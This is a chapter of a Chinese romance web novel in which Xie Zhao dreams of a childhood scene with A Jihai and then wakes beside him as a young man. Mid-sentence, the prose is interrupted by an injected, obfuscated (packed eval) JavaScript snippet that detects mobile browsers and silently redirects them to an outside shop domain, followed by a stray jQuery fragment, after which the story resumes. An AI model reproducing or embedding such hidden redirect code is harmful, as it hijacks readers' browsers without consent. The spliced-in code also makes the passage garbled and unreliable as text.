小娃娃一蹦一跳的走在前头,银铃系在脚踝上叮当作响,清脆悦耳,和着江水潺潺、山间鸟啼,织成一支不成调的小曲。
“阿姐,你还没告诉我呢,山外面是什么样的?”
他一边走,一边回过头来,眼睛亮晶晶的,里头全是掩不住的好奇。那样干净,又那样执拗,仿佛那山外世界早在他小小的心里铺开了一整片天地。
谢昭张了张嘴,却发现自己说不出话来。
山外面是什么样的?
脑中唯余残影几点,画面数段,前因后果俱已茫然,首尾难续。
隔着一层厚厚的雾,雾里浮浮沉沉的,朦朦胧胧,怎么用力去看,也辨不真切。
小孩儿见她久久不答,也不催,只自顾自地又说了起来。
“我阿奶说,山外面的人,住在很高的房子里,房子顶上还盖着黄澄澄的东西。阿奶说,那叫瓦。”
“阿奶说,山外面的人吃东西是用一个小碗盛着的,一碗一碗的,还要用两根玉棍子夹着吃。”
“阿姐,你吃饭也用玉棍子吗?”
谢昭听着他这些天真的话,心里头那点说不清道不明的酸涩,竟被他三言两语地冲散了。
她点了点头。
“真的呀!”那孩子眼睛一亮,像是发现了什么了不得的大事,拍着手道,“那你回头教教我,好不好?我阿奶也有一双那样的玉棍子,可她总不让我碰,说我会把它摔了。”
“好。”谢昭道。
那孩子便更高兴了,拉着她的手,一晃一晃的,往前走。
越往上走,江水的喧响便越远,山风愈盛。
到了坡上,眼前豁然开朗。
满坡的花,开得正盛。红的、黄的、紫的、白的,一簇一簇,一片一片,铺得漫山遍野都是,风一过,便掀起一层一层的花浪。
“看!”那孩子松了手,跑进花海里,张开了双臂,“是不是很好看?”
“这些花,每年都开。”他回过头来,望着谢昭,笑得眉眼弯弯,“可今年开得最好。我前几日就发现了,一直想找个人来看看。今日可算等着你了。”
他说着,又跑回来,仰着脸,那双大眼睛里盛着满满当当的欢喜。
“阿姐,你以后,年年都来好不好?”
他伸出小手,比划了一下,“我带你来看花。我阿奶说,山神喜欢花。你来看花,山神也会喜欢你的。”
谢昭蹲下身来,与他平视。
“你叫什么名字?”她问。
那孩子歪了歪脑袋,笑得露出两颗小虎牙。
“阿霁海。”
“阿姐,你要记住我呀。”
他的声音轻轻落在谢昭的心头,似一滴水落进了平静的湖,漾开一圈一圈的涟漪。
那涟漪越来越大,越来越急,终是化作了一股巨大的、温软的潮水,将她整个人都吞没了进去。
谢昭猛地睁开眼。
入目,是阿霁海放大的脸。
少年正侧着身子,面朝着她,一只手支着脑袋,另一只手,正悬在她额头上方,指尖轻轻地点着她的眉心。
见她醒了,他弯起眼睫,笑得眉眼弯弯。
“阿妹,你做梦啦?”
谢昭看着他,一时之间,竟有些分不清梦境与现实。
眼前这个人,和梦里那个瘦瘦小小的、唤她“阿姐”的孩子,渐渐重合在一起。
眉眼还是那个眉眼,只是长开了,褪去了那层稚气,愈发清隽。可那双眼里的懵懂,那笑起来的模样,还有那软软糯糯的腔调,却是一点都没变。
谢昭望着他,忽然伸出手,在他脸上轻轻捏了一下。
阿霁海一愣,随即笑了。
“怎么啦?可是梦着我了?”
谢昭没有答话,只又捏了捏。
温热的,真实的。
阿霁海也不躲,由她捏着,只把头又往她手心里凑了凑,像梦里那个讨食的孩子一样。
“我方才跟你说的话,你都听见了没有?”他问。
“什么话?”
“就是我小时候的事呀。”阿霁海道:“我跟你说了好半天,你倒好,睡得香香的,一句都没听进去。”
“听进去了。”谢昭道。
“那你梦见什么了?”
谢昭看着他,忽然就笑了。
“梦见一个孩子。”她道:“蹲在江边摸鱼,扑了个空,栽进了水里,成了落汤鸡。”
“后来,他拉着我去看坡上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941249|206840||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
花,还问我,山外面是什么样的。”
“再后来——”
她顿了顿,望着阿霁海。
“他让我记住他。”
阿霁海看着她,那双眼睛,一点一点地,亮了起来。
“那……那个孩子。”他的声音轻轻的,带着点不易察觉的期待,“后来怎么样了?”
“后来。”谢昭道:“他长大了。”
阿霁海怔住了,他整个人像是被定在了原地,眼睛都忘了眨,半晌回不过神来。
过了好一会儿,那对眼睫才轻轻颤了颤,像是魂儿终于归了位。他慢慢回过神,不知怎的,耳根便悄悄红了。
“那……那他长得好看吗?”
“好看。”
浅浅的一抹红越烧越盛,直红到了耳尖,连脖颈都染上了一层薄薄的绯色。
“那你还记得他吗?”他又问,声音轻得几乎听不见。
“记得。”谢昭望着他,一字一句地道。
“阿霁海。”
阿霁海的身子微微一颤。
他的眼眶,忽然就红了。
他也不说话,只一把将谢昭搂进怀里,脸深深埋进她的颈窝,鼻尖抵着她温热的肌肤,呼吸又急又乱地打在那儿。他收紧了手臂,一寸一寸地收,紧紧地,像是要把她整个人都嵌进自己的骨血里。你便是我,我便是你。
“阿妹……”
阿霁海一颗心像是被人捧到了云端上,怦怦地跳,怎么按都按不住。望着她时眼睛亮得惊人,嘴角压了又压,终究还是高高扬了起来。
“我欢喜死了,欢喜死了——欢喜得都不知该如何是好了。”
少年声音闷闷的,鼻音浓重,湿漉漉的像浸了水,又哑又涩。
贴着她的肌肤,温温热热的字一个一个往她心里钻,她甚至能觉出他喉间细微的震颤全沿着颈窝传到了她身上。
“真的,欢喜死了。”
谢昭缓缓抬起手,指尖抚过他微颤的脊背。
窗外天光已经大亮了。
云团不知何时跳上了榻,凑过来,先是用鼻尖碰了碰阿霁海的头发,又碰了碰谢昭的脸,最后在两颗脑袋中间挤了个空,自顾自地躺了下来,把下巴搁在两人交叠的手臂上。